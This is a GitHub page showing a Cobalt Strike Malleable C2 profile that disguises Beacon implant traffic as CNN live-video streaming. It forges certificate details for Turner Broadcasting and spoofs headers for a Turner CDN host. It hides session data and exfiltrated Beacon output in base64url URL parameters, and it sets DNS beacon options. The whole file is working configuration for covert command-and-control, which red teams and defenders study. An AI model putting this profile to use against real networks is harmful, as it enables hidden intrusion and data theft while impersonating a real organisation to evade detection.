MalleableC2Profiles/cnnvideo_getonly.profile at master · bluscreenofjeff/MalleableC2Profiles · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#
# CNN Video
#
# Author: @bluscreenofjeff
#

#set https cert info
# CNN doesnt have real cert, guessed details
https-certificate {
    set CN       "www.cnn.com"; #Common Name
    set O        "Turner Broadcasting System Inc"; #Organization Name
    set C        "US"; #Country
    set L        "Atlanta"; #Locality
    set OU       "MSS (Media Software & Services)"; #Organizational Unit Name
    set ST       "GA"; #State or Province
    set validity "365"; #Number of days the cert is valid for
}

#default Beacon sleep duration and jitter
set sleeptime "60000";
set jitter    "20";

#default useragent for HTTP comms
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

#IP address used to indicate no tasks are available to DNS Beacon
set dns_idle "8.8.4.4";

#Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_sleep "0";

#Maximum length of hostname when uploading data over DNS (0-255)
set maxdns    "235";

http-get {

    set uri "/cnn/cnnx/dai/hds/stream_hd/1/cnnxlive1_4.bootstrap";

    client {

        header "Host" "phds-live.cdn.turner.com";
        header "X-Requested-With" "ShockwaveFlash/24.0.0.186";
        header "Referer" "http://go.cnn.com/?stream=cnn&sr=watchHPbutton";

        #session metadata
        metadata {
            base64url;
            parameter "g";
        }

        parameter "hdcore" "3.4.1";
        parameter "plugin" "aasp-3.4.1.1.1";
    }


    server {


        header "Server" "ngx_openresty";
        header "Content-Type" "application/octet-stream";
        header "ETag" "dbbece0334279b5bfbf88c27bda56444";
        header "Cache-Control" "max-age=1";
        header "Connection" "keep-alive";

        #Beacon's tasks
        output {

            print;
        }
    }
}

http-post {

    set uri "/cnn/cnnx/dai/hds/stream_hd/2/cnnxlive1_4.bootstrap";
    set verb "GET";

    client {

        header "Host" "phds-live.cdn.turner.com";
        header "X-Requested-With" "ShockwaveFlash/24.0.0.186";


        #session ID
        id {
            base64url;
            prepend "http://go.cnn.com/?stream=cnn&sr=watchHPbutton&token=";
            header "Referer";
        }

        #Beacon's responses
        output {
            base64url;
            parameter "g";
        }

        parameter "hdcore" "3.4.1";
        parameter "plugin" "aasp-3.4.1.1.1";
    }

    server {

        header "Server" "ngx_openresty";
        header "Content-Type" "application/octet-stream";
        header "ETag" "dbbece0334279b5bfbf88c27bda56444";
        header "Cache-Control" "max-age=1";
        header "Connection" "keep-alive";

        #empty
        output {
            print;
        }
    }
}

#change the stager server
http-stager {
    server {
        header "Content-Type" "application/octet-stream";
    }
}